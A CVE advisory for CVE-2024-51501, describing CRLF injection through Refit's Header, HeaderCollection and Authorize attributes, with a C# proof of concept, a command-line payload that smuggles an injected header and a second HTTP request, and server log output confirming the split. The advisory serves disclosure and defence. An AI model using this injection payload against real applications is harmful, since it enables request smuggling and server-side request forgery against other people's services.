CVE-2024-51501 — CRLF injection in Refit — CVE Details

### Summary The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection. ### Details The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: <https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328> This method does not check for CRLF characters in the header value. This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests. ### PoC The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header: ```c# using Refit; internal class Program { private static void Main(string[] args) { // Usage: dotnet run <bearer token> string token = args[0]; var service = RestService.For<IStatusApi>("http://insert.some.site.here"); string response = service.GetStatus(token).Result; Console.WriteLine($"Response: {response}"); } public interface IStatusApi { [Get("/status")] Task<string> GetStatus([Authorize("Bearer")] string token); } } ``` This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF): ```bash anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here' Response: <html></html> ``` The application intends to send a single request of the form: ```http GET /status HTTP/1.1 Host: insert.some.site.here Authorization: Bearer <bearer token> ``` But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent: ```http GET /status HTTP/1.1 Host: insert.some.site.here Authorization: Bearer test User-Agent: injected header! ``` and ```http GET /smuggled HTTP/1.1 Host: insert.some.site.here ``` This can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost): ```bash anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log 127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!" 127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-" ``` ### Impact If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery. Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.